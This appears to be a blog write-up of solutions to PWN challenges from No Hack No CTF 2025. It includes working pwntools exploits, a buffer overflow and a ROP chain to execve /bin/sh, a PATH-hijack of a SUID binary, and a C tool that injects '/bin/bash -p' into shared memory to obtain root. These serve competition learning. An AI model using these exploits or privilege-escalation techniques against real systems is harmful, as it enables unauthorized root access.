- Published on
No Hack No CTF 2025 - PWN challenges
- Authors
- Name
- kerszi
Introduction
The Taiwan No Hack No CTF 2025 took place from July 5th to 7th. Our team placed 5th at first, then climbed to 3rd, and finally finished 4th ;) We (or maybe just I?) managed to solve 4 out of 7 PWN challenges. All the tasks were engaging—ranging from classic pwns, to one with a tricky ROP chain, and two shell challenges where the goal was to break in and gain root access. There were also three other types of challenges, but for now, those are a bit too advanced for me. More information about this CTF can be found here.

clannad_is_g00d_anim3

from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc chal.78727867.xyz 9999"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
win=binary.sym.Clannad
payload=72*b'A'+p64(win+5)
p.sendlineafter(b'enter a dango:',payload)
p.interactive()
NHNC{CLANNAD_1s_g00d_anim3_and_you_kn0w_BOF}
Baby ROP which LemonTea wants

from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc chal.78727867.xyz 34000"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./main"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
main=binary.sym.main
bss=0x4a9bb0
rop=ROP(binary)
syscall=rop.find_gadget(['syscall','ret'])[0]
pop_rax=rop.find_gadget(['pop rax','ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi','pop rbp','ret'])[0]
pop_rsi=rop.find_gadget(['pop rsi','pop rbp','ret'])[0]
xor_edi_edi=0x000000000045dbca
add_dh2=0x00000000004607c6
xor_edx_edx=0x0000000000405c03
payload1 = flat(
8 * b'kura',
24 * b'\x00',
add_dh2,
xor_edi_edi,
pop_rsi,
bss,
0,
syscall,
main
)
p.sendlineafter(b"What's your name?",payload1)
p.send(b"/bin/sh")
payload2 = flat(
8 * b'zaba',
24 * b'\x00',
pop_rdi,
bss,0,
pop_rax,
59,
pop_rsi,
0,
0,
syscall
)
p.sendlineafter(b"What's your name?",payload2)
p.interactive()
NHNC{a_rop_challenge_which_LemonTea_can_solve_and_i_wanna_sleep_lemontea_u_sucker_6f325c6517bd7789}
Server Status

server_status
binary with the SUID bit set. We downloaded the binary via SFTP and analyzed it in Ghidra, where we noticed that it executes dmesg
. Here lies a vulnerability: the binary does not use an absolute path for dmesg
, so we can trick the system by changing the order of directories in the PATH
environment variable. As a result, dmesg
will be our own script.mkdir /tmp/fakebin
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/fakebin/dmesg
export PATH=/tmp/fakebin:$PATH
./server_status
hacker@93a27102d15b:~$ ./server_status
=== Server Status Monitor v1.0 ===
System diagnostic tool with root privileges
Running with elevated privileges (UID: 0, GID: 0)
Initializing...
Hacking Nasa...
****************************************
Done!
=== Command Output ===
root@93a27102d15b:~# id
uid=0(root) gid=0(root) groups=0(root),1000(hacker)
NHNC{just_sharing_every_every_thing_around_world__6f35260d4dc6444faeb4092bd5c64b85}
Server Status Revenge

server_status
.Upload this code to the server and compile it. The best way is to paste the contents using cat > shm-injection.c
(ctrl+d)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>
#include <errno.h>
#define MAX_SHM_SIZE 1024
#define EXPECTED_PERMS 0666 // Uprawnienia segmentu z server_status (0x3b6 = 0644, ale testujemy też 0666)
// Funkcja do wyświetlania podglądu heksadecymalnego zawartości
void print_hex_preview(const char *buf, size_t len) {
printf("[>] Hex preview:\n");
for (size_t i = 0; i < len && i < 64; i++) {
printf("%02x ", (unsigned char)buf[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
}
int main() {
printf("[*] SHM injection monitor running...\n");
// Bufor do śledzenia widzianych shmid
int seen[1048576] = {0}; // Zakres shmid jest wystarczająco duży
while (1) {
// Wykonanie ipcs -m i parsowanie wyników (key, shmid, perms)
FILE *ipcs = popen("ipcs -m | awk 'NR>3 && $2 != \"\" {print $1, $2, $4}'", "r");
if (!ipcs) {
perror("[!] popen failed");
usleep(100000); // 0.1 s
continue;
}
char line[128];
while (fgets(line, sizeof(line), ipcs)) {
unsigned int key;
int shmid;
int perms;
if (sscanf(line, "%x %d %o", &key, &shmid, &perms) != 3) {
continue;
}
// Pomijamy widziane shmid lub niepasujące uprawnienia
if (shmid < 0 || seen[shmid] || (perms != EXPECTED_PERMS && perms != 0644)) {
continue;
}
seen[shmid] = 1;
printf("[*] Checking key: 0x%08x, shmid: %d (perms: %o)\n", key, shmid, perms);
// Uzyskanie dostępu do segmentu pamięci współdzielonej przez key
int shm_id = shmget((key_t)key, 0, 0);
if (shm_id == -1) {
printf("[!] shmget failed for key 0x%08x: %s\n", key, strerror(errno));
continue;
}
// Mapowanie segmentu
char *shm_addr = (char *)shmat(shm_id, NULL, 0);
if (shm_addr == (char *)-1) {
printf("[!] shmat failed for shmid %d: %s\n", shmid, strerror(errno));
continue;
}
// Odczyt zawartości
char buf[MAX_SHM_SIZE];
strncpy(buf, shm_addr, MAX_SHM_SIZE - 1);
buf[MAX_SHM_SIZE - 1] = '\0';
// Podgląd heksadecymalny
print_hex_preview(buf, strlen(buf) < 64 ? strlen(buf) : 64);
// Sprawdzenie, czy segment zawiera "dmesg"
if (strstr(buf, "dmesg")) {
printf("[+] Found dmesg! Injecting...\n");
// Wstrzyknięcie polecenia
const char *payload = "/bin/bash -p\x00";
memcpy(shm_addr, payload, strlen(payload) + 1);
printf("[✔] Injected into shmid: %d\n", shmid);
}
// Odłączenie segmentu
if (shmdt(shm_addr) == -1) {
printf("[!] shmdt failed for shmid %d: %s\n", shmid, strerror(errno));
}
}
pclose(ipcs);
usleep(10000); // 0.01 s dla szybszego skanowania
}
return 0;
}
first session
hacker@9b505f416bdd:~$ gcc shm-injection.c
hacker@9b505f416bdd:~$ ./a.out
[*] SHM injection monitor running...
[*] Checking key: 0x0003f3cf, shmid: 11 (perms: 666)
[>] Hex preview:
2f 75 73 72 2f 62 69 6e 2f 64 6d 65 73 67
[+] Found dmesg! Injecting...
[✔] Injected into shmid: 11
second session
./server_status
=== Server Status Monitor v1.0 ===
System diagnostic tool with root privileges
Running with elevated privileges (UID: 0, GID: 0)
Initializing...
Hacking Nasa...
****************************************
Done!
root@9b505f416bdd:~# id
uid=0(root) gid=0(root) groups=0(root),1000(hacker)
NHNC{WTF_NEVER_MADE_Challenges_at_night_especially_when_u_r_sleepy_0d7f1fcd5bae4d56a5b384b043cbb841}
Bonus
Below I am providing the binaries so you can practice, in case you are unable to find them elsewhere.